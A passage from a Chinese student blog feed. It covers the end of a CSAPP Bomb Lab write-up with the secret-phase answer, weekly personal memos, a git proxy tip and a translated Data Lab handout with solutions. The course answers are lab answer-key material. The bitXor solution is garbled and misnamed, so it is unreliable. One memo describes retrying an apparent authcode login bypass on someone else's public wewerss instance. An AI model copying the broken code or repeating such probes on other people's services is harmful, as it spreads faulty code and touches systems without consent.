&lt;li&gt;&lt;strong&gt;当前节点值小于目标值&lt;/strong&gt; → 递归进入右子树 (a1 + 16)，返回值乘 2 加 1。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;当前节点值等于目标值&lt;/strong&gt; → 返回 0（停止递归）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;如果节点为空&lt;/strong&gt; → 返回 -1（表示未找到）。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  401278:	83 f8 02             	cmp    $0x2,%eax
  40127b:	74 05                	je     401282 &amp;#x3C;secret_phase+0x40&gt;
  40127d:	e8 b8 01 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
  401282:	bf 38 24 40 00       	mov    $0x402438,%edi
  401287:	e8 84 f8 ff ff       	callq  400b10 &amp;#x3C;puts@plt&gt;
  40128c:	e8 33 03 00 00       	callq  4015c4 &amp;#x3C;phase_defused&gt;
  401291:	5b                   	pop    %rbx
  401292:	c3                   	retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们想得到返回值为2的话，根据上面构建的树结构，我们只需要选择输入 22 即可。&lt;/p&gt;
&lt;p&gt;故答案为:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;22
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Wow! You&apos;ve defused the secret stage!
Congratulations! You&apos;ve defused the bomb!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结束！&lt;/p&gt;
&lt;h1&gt;参考：&lt;/h1&gt;
&lt;p&gt;以下两位的实验与上述不同，参考借鉴了phase6的过程以及gdb的使用。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://skywt.cn/blog/csapp-bomblab&quot;&gt;CSAPP Bomblab 题解&lt;/a&gt; by SkyWT&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://arthals.ink/blog/bomb-lab&quot;&gt;更适合北大宝宝体质的 Bomb Lab 踩坑记 &lt;/a&gt; by Arthals&lt;/p&gt;
&lt;h1&gt;一些坑点：&lt;/h1&gt;
&lt;h4&gt;[ida] 与 [gdb] 各自默认使用的语法：&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;ida：默认使用 intel 语法&lt;/p&gt;
&lt;p&gt;gdb： 默认使用AT&amp;#x26;T 语法&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最初使用时不太熟练，老是弄混，可以将 [gdb] 设置成 intel 语法（当然，考试估计使用 AT&amp;#x26;T，但最近逆向的都是 windows 上的文件，实在看不习惯）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set disassembly-flavor intel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后还是老老实实用AT&amp;#x26;T做完了。&lt;/p&gt;
&lt;h4&gt;炸弹爆炸时，如果gdb在 layout asm模式下会花屏&lt;/h4&gt;
&lt;p&gt;使用ctrl + l 来清理，会回归正常，但是有些时候会回跳到main函数，也可以考虑ctrl+ x + a重启界面。但还是比较麻烦，还没有找到花屏的原因。&lt;/p&gt;
&lt;h1&gt;总结：&lt;/h1&gt;
&lt;p&gt;bomblab是一个很有意思的实验，用gdb分析以及人肉汇编的过程真的极其痛苦，尤其是对于不熟悉的人来说，但这样一行行分析出来的结果也给予人成就感，并且在做完后觉得自己有了很大的提升。&lt;/p&gt;
&lt;p&gt;也意识到反汇编工具对于逆向工程调试的重要性，我不知道如果没有 [ida] 我该如何去面对加了壳的程序，如果单纯只用 ida 来完成bomblab的话，我觉得一个多小时就能做完，可对于刚学汇编，并且不熟悉 gdb 的我而言，这个过程是5天，虽然中间掺杂了一些其它活动，但可见bomblab本身对于初学者的难度，汇编的熟练过程任重而道远。&lt;/p&gt;
&lt;p&gt;好了，就说这么多，下一个 lab 打算试一试 attack lab，应该跟 pwn 中的题有相似之处。&lt;/p&gt;
&lt;p&gt;前进！😜&lt;/p&gt;</content:encoded><category>学习</category></item><item><title>Memos 4:-干掉酒桌文化</title><link>https://cry4o4n0tfound.cn/blog/memos-4-%E5%B9%B2%E6%8E%89%E9%85%92%E6%A1%8C%E6%96%87%E5%8C%96/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-4-%E5%B9%B2%E6%8E%89%E9%85%92%E6%A1%8C%E6%96%87%E5%8C%96/</guid><pubDate>Tue, 28 Jan 2025 12:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;干掉酒桌文化：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;文化是骨髓里的东西。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;中国人老是喜欢往名词后面加个文化，显得很有“文化&quot;和水平，实则”金玉其外，败絮其中“，酒桌文化这破玩意儿就是这么来的。&lt;/p&gt;
&lt;p&gt;我本人滴酒不沾，这源于我有一点酒精过敏——沾了酒精身上会起奇奇怪怪的红疹子；另一方面小时候见多了发酒疯的人，对于酒不抱好感，同时希望自己的大脑时刻能处于比较清醒的状态，自然对酒敬而远之。当然，这肯定不代表我讨厌喝酒的人。我讨厌的只是喝酒还喝出所谓”酒桌文化“的那堆人。&lt;/p&gt;
&lt;p&gt;我见到的酒桌文化是什么呢？&lt;/p&gt;
&lt;h3&gt;1.劝酒&lt;/h3&gt;
&lt;p&gt;酒我是陪着喝的，人我是都要劝一劝的，我管你喝多喝少还是压根不喝酒，我通通劝。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;啊，你不喝？你这不是不给我面子嘛。给我个面子喝了这杯吧。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;于是受害者常常面露窘态被他压力到不得不多喝个几杯。该类型最为常见，长辈领导局必有。他们这种人呢劝的通常也不是酒本身，也只是想通过这种威胁的方式来显露自己的威信（看，你还不是听我的喝了）。人的行为通常暴露了内心缺失了什么。这种喜欢通过劝酒过官瘾的基本就是&lt;s&gt;小时候威胁父母玩玩具父母不给买&lt;/s&gt;被威胁久了，想来通过威胁别人缓解，所以这也容易成为”酒桌文化”的传承渠道——见过一些之前不爱劝酒的亲戚，有了权势之后就开始劝起酒来了，真是丑态毕露。&lt;/p&gt;
&lt;p&gt;本质上不过是一种试探与征服，服从性训练的延伸罢了，感觉不如...军训，至少军训还不伤身。都想确定自己领导地位了，咱大胆直接一点好不好？天天弯弯绕绕包装酒桌文化真恶心。&lt;/p&gt;
&lt;h3&gt;2.敬酒&lt;/h3&gt;
&lt;p&gt;这是我某某某，我得敬一杯，那又是谁谁谁，我也得敬一杯😅&lt;/p&gt;
&lt;p&gt;咱敬酒，就主打一个等级森严势力眼，你春风得意，我敬！你有权有势，我敬！你家财万贯，我敬！至于别的无权无势无财的，我就看不见敬不了了。喝酒嘛，喝的是人情世故。你什么都没有我跟你人情世故个什么劲儿。古时尚能借着醉意写一写诗词，求一求席间官员赏识，到现代一来可好，可谓是大进步，都可以直接跳过写诗词展示才能这种冗长乏味的环节，直接狠狠敬酒就是了。&lt;/p&gt;
&lt;p&gt;当技术拔群比不上敬酒突出，这才显得我敬酒的重要啊😎，我们人情社会是这样的。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;写这些也只是出于一时愤懑，每到过年就会遇到各色酒桌文化，实在憋不住了，不如一吐为快宣泄一下心中的不满。然而稍微写几句，想到以后要步入更多酒局，看到更多“文化”时，也不免悲哀，心中却又无可奈何。如果连这些东西都成了容进骨髓的东西，这个社会可能早已病入膏肓而不自知了。&lt;/p&gt;
&lt;p&gt;酒文化本身是有趣的，甚至我的家乡也被称为酒城（虽然我一直怀疑这是自吹自擂🤔）。身边也不乏热爱品酒的朋友同学，他们是将酒当作生活中的调味剂，带着一种欣赏去品味。然而当酒文化上了桌，它就摇身一变成了检验人的工具，在酒桌上推杯换盏，可是推杯换盏的底下，更像是不同层次的博弈，活让享受成了受罪，这实在是失去了酒本身的意义。&lt;/p&gt;
&lt;p&gt;什么时候我们才能真正干掉这些可恶的文化呢？&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;布达佩斯大饭店：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;人生做什么都没有意义，因为一切都是过眼云烟，转眼间就变成了一具僵硬的尸体。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;由于cry在本周遭受到了甲流袭击（学校没感染，回家家里蹲反而感染了...甚至忘了提交github上的天问之路，下周一定补上。），久违地休息了好几天（主要发热带上咳嗽确实要命，在写这篇blog时依旧没能摆脱疯狂咳嗽这一症状），翻看起了之前一直放进想看列表的电影，包括柯南最近好几年的剧场版、白日梦想家、土拨鼠之日和这部布达佩斯大饭店。白日梦想家和土拨鼠之日的感想写在日记上懒得放上来了，就在这里记述下关于昨日才看的布达佩斯大饭店。至于柯南...我只能说最近几年剧场版的物理引擎疑似有点太过超前，超前到让人觉得在被侮辱智商，当然，仅作为爆米花片看起来勉强也算合格（大概?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B04-3.JPG&quot; alt=&quot;布达佩斯大饭店&quot;&gt;&lt;/p&gt;
&lt;p&gt;影片一上来就很有意思，像是在做嵌套，我在看电影，电影里的少女在看书，书中的人在聊天，聊天的人在讲布达佩斯大饭店的故事，重重叠叠的要把人绕晕，活像从前有座山，山里有座庙，庙里有个和尚在讲老故事，在讲什么呢...在讲...&lt;/p&gt;
&lt;p&gt;故事还是比老和尚讲的故事要精彩的。但最里层最主要的故事也可以简单概括为通俗的边追凶边逃难，全片都是zero和古斯塔夫先生的历险记。故事我认为谈不上精彩出众，甚至有些老套，让人感到有趣的是它的叙事方式以及古斯塔夫先生这一人物的塑造。&lt;/p&gt;
&lt;p&gt;如果用一个词来描述他的话，一定是“优雅”。从始至终都保持着一种从容不迫的态度，连刚逃出监狱也忘不了他的古龙水。以及面对纳粹审问时依旧保持优雅，可优雅的底下又有着自己的坚守，愿意为仅仅是自己学徒的zero在火车上打抱不平，也愿意在说错话伤害zero后道歉，至少在我看来，他的人格魅力拉高了片子本身的精彩程度。当然，我也不怎么看电影，这谈不上影评，只能算cry的私人感想。&lt;/p&gt;
&lt;p&gt;火车上古斯塔夫先生面对zero说过这样一番话：“人生做什么都没有意义，因为一切都是过眼云烟，转眼间就变成了一具僵硬的尸体。”这就是他本人最好的写照。用他的一生经营布达佩斯大饭店，让它“优雅华丽，名倾一时”，在经历逃难重新获得继承权后更是推至巅峰，然而却在一场火车旅行中被纳粹杀害，变为了“僵硬的尸体”。&lt;/p&gt;
&lt;p&gt;我并不认为这句话是虚无主义。正相反，古斯塔夫先生更像是嘴上嚷嚷着什么都不好的小老头，真正做起来的过程中比谁都更专心努力。他本身也永远铭刻在了zero的心中，可能他以及布达佩斯大饭店的一生都像是烟花的绽放，绽放的确是一瞬的，可绽放的过程却被欣赏烟花的人们永远记住了。&lt;/p&gt;
&lt;p&gt;这也是一种生活的意义。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;wewerss上的authcode“绕过”：&lt;/h2&gt;
&lt;p&gt;本周在部署wewerss的时候授权码半天登录不进去，让我误以为是配置文件的问题，于是重新改了authcode后，重新尝试登录，而改了的code里面恰好包含了一个特殊字符，结果登录是登录进去了，一登进去就开始疯狂报错，并不能进行任何操作。在删除掉本地存储的authcode重新输入又成功进去了。&lt;/p&gt;
&lt;p&gt;这让我感到很疑惑。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B04-1.png&quot; alt=&quot;奇怪的报错&quot;&gt;&lt;/p&gt;
&lt;p&gt;经过一系列查阅后，并没有在wewerss项目issue里发现类似的问题（估计也没有人像我一样设置奇怪的密码），倒是在stackoverflow以及其它项目的issue里找到了有关问题。大意是因为使用了未编码的字符，引起了文件夹名的错误，从而引起了判断错误。&lt;/p&gt;
&lt;p&gt;于是我再次使用类似的方法进入了公网下的wewerss实例（由于没找到其它的，只好拿skywt的来充数），在一番类似的操作下，同样也是可以进入所谓的“account”中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B04-2.png&quot; alt=&quot;成功进入？&quot;&gt;&lt;/p&gt;
&lt;p&gt;同时在查看项目本身在github后原码发现，authcode的判断逻辑是一个code!==，就会返回一个token，初步怀疑是由于未编码的字符引起错误判断然后分发了一个错误的token，具体还尚待考证，但这本身其实是没有危险的，虽然看似能登录进别人的/dash/account，实际上在里面的任何操作都会抓取失败，这大概也是那个未编码字符引起的。&lt;/p&gt;
&lt;p&gt;小小的一个字符就引发了整个程序的崩溃😩，应用程序就是如此的脆弱。这对于规范限制某些输入输出有良好的启示。联想到之前的sql注入，csrf等攻击，一定程度上就是没有规范输入所导致的。或许在设置每个表单时我们都该给表单输入加一个白名单，在安全的同时，也保障了不会引发奇怪的错误。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;恰逢除夕写下了这篇年前最后的周记，在这里祝大家除夕快乐的同时，也提前祝大家新春快乐🎇。&lt;/p&gt;
&lt;p&gt;下周见👋&lt;/p&gt;</content:encoded><category>week</category></item><item><title>Memos 3:-走亲访友那些事</title><link>https://cry4o4n0tfound.cn/blog/memos-3-%E8%B5%B0%E4%BA%B2%E8%AE%BF%E5%8F%8B%E9%82%A3%E4%BA%9B%E4%BA%8B/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-3-%E8%B5%B0%E4%BA%B2%E8%AE%BF%E5%8F%8B%E9%82%A3%E4%BA%9B%E4%BA%8B/</guid><pubDate>Wed, 22 Jan 2025 16:40:00 GMT</pubDate><content:encoded>&lt;h2&gt;走亲访友那些事：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;沉默是金。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;年关将至，小县城的大街小巷逐渐拥挤了起来，行道树旁也挂起了象征喜气的灯笼，“年味儿”是越来越浓了。随之而来的，是一系列打着岁末团圆旗号的走亲访友，我本人是十分反感去走一些无意义的亲，访一些不太熟的友的，但碍于胳膊肘拧不过大腿，在父母反复劝导下，还是不得不去陪着他们走一两次——用他们的话来说就是，你再不出去走走，（那些亲戚朋友）都快忘了我们还有个儿子了。&lt;/p&gt;
&lt;p&gt;那就走吧，大不了沉默不语装哑巴。遇上熟一点有分寸感的亲戚也算不错，稍微聊一聊天吃顿饭就能悠哉游哉地回家。可碰上不怎么熟又特别“热情”的亲戚，那这趟亲戚走下来，我至少得缓好几天——这种亲戚都有一种特点：十分在意我的感情状况和学业成绩，搞得像是他们的终生大事似的。&lt;/p&gt;
&lt;p&gt;以下截取一段去年走亲戚对话记录：&lt;/p&gt;
&lt;p&gt;&lt;em&gt;亲戚：哎哟，cry，好久没见了，读哪个大学去了啊？&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;我（还算礼貌）：湖南大学&lt;/em&gt;。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;亲戚：哦，我听说过，我记得是一本吧？&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;（内心纠结了一小会儿需不需要给他补充下末流985湖b的故事，虽然湖b知名度也就这样了，但还是努力想挽回一点点😭）&lt;/p&gt;
&lt;p&gt;&lt;em&gt;我（最后还是算了）：嗯嗯嗯，是的。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;亲戚：那挺不错了，我家那个也才刚考上什么什么大学了(某211)。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;我（已经想扭头走了）：那他很厉害啊。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;亲戚：其实也还好，诶，那你进大学谈恋爱了没。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;我（扭头走了）：还没谈呢...肚子有点不舒服去上个厕所（赶紧溜溜溜）&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;这看似很魔幻，像是短视频里的情节涌进了现实，但现实往往就是更加魔幻。在此之后我再也没有走过这户亲戚，今年我妈还想拉着我一起去，被我斩钉截铁地拒绝了。&lt;/p&gt;
&lt;p&gt;走亲访友对于上一代人来说是不可磨灭的记忆，毕竟一去，大多数时候人家都会拿出好吃的招待，对于小孩子来说也意味着可以比较放肆地玩——好面子的家长们也基本不会在他人面前发火让你太过难堪，更是在这过程中和表姊妹从小就建立深厚的友谊。有什么能比吃喝玩乐更能诱惑物质匮乏时代的上一辈呢？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B03-2.JPG&quot; alt=&quot;舅舅给的红包&quot;&gt;&lt;/p&gt;
&lt;p&gt;然而现在的走亲访友却没有了以前的味道。大多数人走亲访友（包括我），也只是换了个地方玩手机——上一代嘛，没什么能谈到一块的，谈两句也只能拐到上述尴尬的对话；同龄人呢，除了从小有过接触能稍微摆下龙门阵(四川话中聊天的意思)，另外一些不太熟的又不知道以什么开启话题，不如沉默地玩自己的手机。相比之下，如果亲戚家的小朋友听话可爱的话，和他们一起看电视反而是一个不错的选择，还能摆脱很多麻烦。&lt;/p&gt;
&lt;p&gt;倒也并不是想否定走亲访友的意义。亲戚间确实有着血缘纽带的联系，舅舅舅妈他们也待我很好，也很乐意去拜访他们，这也是因为童年时期常在他们干小卖部的地方游玩，但俗话说的好，远亲不如近邻，真到了患难时刻，这血缘关系能赶得上平日里互相帮忙的邻居吗？关系始终是需要情感投入来维持的，一年见一两次的亲戚，剩下的情感，大多都是上一辈在小时候玩耍时攒下的吧？我也不太清楚，反正我不看好，指望着所谓远房亲戚的帮助，我觉得还是自己好好努力吧。&lt;/p&gt;
&lt;p&gt;争取以后能有理直气壮不走亲戚的底气。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Sponge Bob：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我准备好了！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本周走了好几家亲戚，在亲戚家隐身的最好办法就是混在小朋友那边，以陪小朋友玩的名义就可以短暂摆脱和某些亲戚的窒息交谈。于是跟着小朋友们看了不少动画片。包括什么喜羊羊与灰太狼羊村守护者、小公主苏菲亚...喜羊羊甚至演变到了机甲战斗，完全不是我认识的喜羊羊，我觉得就算它改名成喜太狼和灰羊羊也不影响这部片子本身的剧情。好了，这都不重要，重要的是在此期间又重温了好几集海绵宝宝。&lt;/p&gt;
&lt;p&gt;现在看海绵宝宝很有意思，有意思在&lt;s&gt;我能看懂英文了&lt;/s&gt;对每个人物的看法有所改观。小时候自然会觉得海绵宝宝是最棒的，积极向上乐观，派大星虽然傻乎乎的但也很有趣，对于蟹老板则是鄙视，满脑子都是钱的坏螃蟹，至于章鱼哥，无趣又死板，天天窝在家里搞他所谓的“艺术”，让人提不起兴趣。&lt;/p&gt;
&lt;p&gt;现在大多反了过来。&lt;/p&gt;
&lt;p&gt;对章鱼哥的遭遇感到同情，想象一下，作为一个社畜辛辛苦苦工作完一天回到家，好不容易有了自己的时间可以干一些喜欢的事情，还要被海绵宝宝烦，同情心一下就上来了。蟹老板的爱财如命也变得可以理解，它不就是大厂老板吗？蟹堡王这么受欢迎，自然狠狠压榨员工😡。派大星则显得大智若愚，不再是小时候眼中的蠢海星了。至于海绵宝宝，我依旧喜欢他，喜欢他在面对生活时的热情，不知道他这算不算罗曼罗兰说的看清了生活却依旧热爱生活的英雄。大概率不是，也许只是单纯的没心没肺🤔，但没心没肺有时也挺好，知道的太多反而并不快乐，做一个热爱生活（虽然不知道是哪里来的热爱）的海绵也不错。&lt;/p&gt;
&lt;p&gt;小时候我也像他一样没心没肺，渴望着快快长大，结果长大了才发现一堆烦恼，如今坐在小朋友旁边再次听到他快乐地走在去蟹堡王上班的路上，嘴里依旧嚷嚷着那句：“我准备好了”，然而我却不能再在沙发上跟着吵吵时才意识到，原来我还没准备好。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;记一次git clone：&lt;/h2&gt;
&lt;p&gt;在cry高兴地准备拉取最后一个配置，搭建好datalab所需环境时，意外发生了——怎么也拉取不下来，检查了好几遍代理后（甚至多加了很多无用地重复代理后），依旧拉取不下来。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B03-1.png&quot; alt=&quot;心头一凝&quot;&gt;&lt;/p&gt;
&lt;p&gt;让我误以为还是代理配置方案有问题，于是去搜索了半天，结果依旧没有得到实质解决，磨磨唧唧弄了一个小时后实在是红温，寻求了外界帮助，被指出将git:替换成https:后即可，查询资料后才发现。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对于 &lt;code&gt;git://&lt;/code&gt; 协议，通常需要设置 &lt;code&gt;GIT_PROXY_COMMAND&lt;/code&gt; 环境变量或使用 &lt;code&gt;core.gitproxy&lt;/code&gt; 配置项。&lt;/li&gt;
&lt;li&gt;例如，使用 &lt;code&gt;git config --global core.gitproxy &quot;connect -S 127.0.0.1:8080 %h %p&quot;&lt;/code&gt; 可以设置通过 SOCKS5 代理服务器（假设运行在本地 127.0.0.1 的 8080 端口）进行代理。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而https:是直接可以通过设置git config --global http.proxy 来代理的，也正是因为如此，我怎么设置代理都拉取不下来...下次再也不选这个垃圾git原生协议了&lt;/p&gt;
&lt;p&gt;同时，GFW是真烦，没有GFW的学习该是多么方便的一件事...&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;下周见👋&lt;/p&gt;</content:encoded><category>week</category></item><item><title>Csapp1-datalab</title><link>https://cry4o4n0tfound.cn/blog/datalab/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/datalab/</guid><pubDate>Sat, 18 Jan 2025 12:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CSAPP：datalab&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;原汁原味实验，取材于cmu官方网站的3e，用gpt作了翻译&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;请在此处填写您的姓名和用户 ID。&lt;/p&gt;
&lt;p&gt;bits.c - 包含您对本实验解决方案的源文件，这是您需要提交给导师的文件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;警告&lt;/strong&gt;：请勿包含&lt;code&gt;&amp;#x3C;stdio.h&gt;&lt;/code&gt;头文件，它会使 dlc 编译器产生混淆。即便不包含&lt;code&gt;&amp;#x3C;stdio.h&gt;&lt;/code&gt;，您仍可使用&lt;code&gt;printf&lt;/code&gt;进行调试，不过可能会收到编译器警告。一般而言，忽视编译器警告并非良好的编程习惯，但在本实验中可以这么做。&lt;/p&gt;
&lt;h2&gt;给学生的说明&lt;/h2&gt;
&lt;h3&gt;第一步：仔细阅读以下说明&lt;/h3&gt;
&lt;p&gt;您需通过编辑此源文件中的函数集，来完成数据实验室的任务。&lt;/p&gt;
&lt;h3&gt;整数编码规则&lt;/h3&gt;
&lt;p&gt;将每个函数中的 “return” 语句替换为一行或多行 C 代码，以实现函数功能。代码必须符合以下风格：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int Funct(arg1, arg2, ...) {
    /* 简要描述您的实现方式 */
    int var1 = Expr1;
    ...
    int varM = ExprM;
    varJ = ExprJ;
    ...
    varN = ExprN;
    return ExprR;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每个 “Expr” 是仅使用以下内容构成的表达式：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;整数常量 0 至 255（0xFF），包含边界值。禁止使用如 0xffffffff 这样的大常量。&lt;/li&gt;
&lt;li&gt;函数参数和局部变量（不能使用全局变量）。&lt;/li&gt;
&lt;li&gt;一元整数运算符！~ 。&lt;/li&gt;
&lt;li&gt;二元整数运算符 &amp;#x26; ^ | + &amp;#x3C;&amp;#x3C;&gt;&gt; 。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;部分问题对允许使用的运算符限制更为严格。每个 “Expr” 可由多个运算符组成，且每行不限于一个运算符。&lt;/p&gt;
&lt;p&gt;明确禁止您：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用任何控制结构，如 if、do、while、for、switch 等。&lt;/li&gt;
&lt;li&gt;定义或使用任何宏。&lt;/li&gt;
&lt;li&gt;在此文件中定义额外的函数。&lt;/li&gt;
&lt;li&gt;调用任何函数。&lt;/li&gt;
&lt;li&gt;使用诸如 &amp;#x26;&amp;#x26;、||、- 或？: 等其他运算符。&lt;/li&gt;
&lt;li&gt;使用任何形式的类型转换。&lt;/li&gt;
&lt;li&gt;使用除 int 以外的任何数据类型，这意味着不能使用数组、结构体或联合体。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;您可以假设您的机器：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;采用 2 的补码、32 位整数表示形式。&lt;/li&gt;
&lt;li&gt;执行算术右移操作。&lt;/li&gt;
&lt;li&gt;当移位量小于 0 或大于 31 时，移位操作的行为不可预测。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;可接受的编码风格示例：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;/*
 * pow2plus1 - 返回2^x + 1，其中0 &amp;#x3C;= x &amp;#x3C;= 31
 */
int pow2plus1(int x) {
    /* 利用移位运算计算2的幂次方 */
    return (1 &amp;#x3C;&amp;#x3C; x) + 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;/*
 * pow2plus4 - 返回2^x + 4，其中0 &amp;#x3C;= x &amp;#x3C;= 31
 */
int pow2plus4(int x) {
    /* 利用移位运算计算2的幂次方 */
    int result = (1 &amp;#x3C;&amp;#x3C; x);
    result += 4;
    return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;浮点编码规则&lt;/h3&gt;
&lt;p&gt;对于需要您实现浮点运算的问题，编码规则相对宽松。您可以使用循环和条件控制结构，也可以使用 int 和 unsigned 类型，并且能够使用任意整数和无符号常量，对 int 或 unsigned 数据进行任何算术、逻辑或比较运算。&lt;/p&gt;
&lt;p&gt;但明确禁止您：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;定义或使用任何宏。&lt;/li&gt;
&lt;li&gt;在此文件中定义额外的函数。&lt;/li&gt;
&lt;li&gt;调用任何函数。&lt;/li&gt;
&lt;li&gt;使用任何形式的类型转换。&lt;/li&gt;
&lt;li&gt;使用除 int 或 unsigned 以外的任何数据类型，这意味着不能使用数组、结构体或联合体。&lt;/li&gt;
&lt;li&gt;使用任何浮点数据类型、运算或常量。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;注意事项&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;使用 dlc（数据实验室检查器）编译器（讲义中有介绍）检查您的解决方案是否符合规则。&lt;/li&gt;
&lt;li&gt;每个函数在实现时，都有允许使用的最大操作数限制（包括整数、逻辑或比较操作），dlc 会检查最大操作数。注意，赋值（&apos;=&apos;）操作不计入其中，您可以按需使用，不会受到惩罚。&lt;/li&gt;
&lt;li&gt;使用 btest 测试框架检查函数的正确性。&lt;/li&gt;
&lt;li&gt;使用 BDD 检查器正式验证函数。&lt;/li&gt;
&lt;li&gt;每个函数的最大操作数在函数头部注释中给出。若文档说明与本文件中的最大操作数不一致，请以本文件为准。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;第二步：根据编码规则修改以下函数&lt;/h3&gt;
&lt;p&gt;重要提示：为避免评分出现意外情况：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用 dlc 编译器检查您的解决方案是否符合编码规则。&lt;/li&gt;
&lt;li&gt;使用 BDD 检查器正式验证您的解决方案能得出正确答案。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;函数题目说明&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;bitXor&lt;/p&gt;
&lt;p&gt;- 仅使用～和 &amp;#x26; 实现 x^y 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;示例：bitXor (4, 5) = 1 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：~ &amp;#x26; 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：14 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：1 。&lt;/p&gt;
&lt;p&gt;我的解答：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int bitxnor(int x,int y){
    return ~(~&lt;sup class=&quot;sidenote-ref&quot;&gt;[1]&lt;/sup&gt;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单的异或变换，电子电路里面就学过了。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;tmin&lt;/p&gt;
&lt;p&gt;- 返回最小的补码整数。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：! ~ &amp;#x26; ^ | + &amp;#x3C;&amp;#x3C;&gt;&gt; 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：4 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：1 。&lt;/p&gt;
&lt;p&gt;我的解答：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int tmin(void) {
    return 1&amp;#x3C;&amp;#x3C;31;
}
&lt;/code&gt;&lt;/pre&gt;
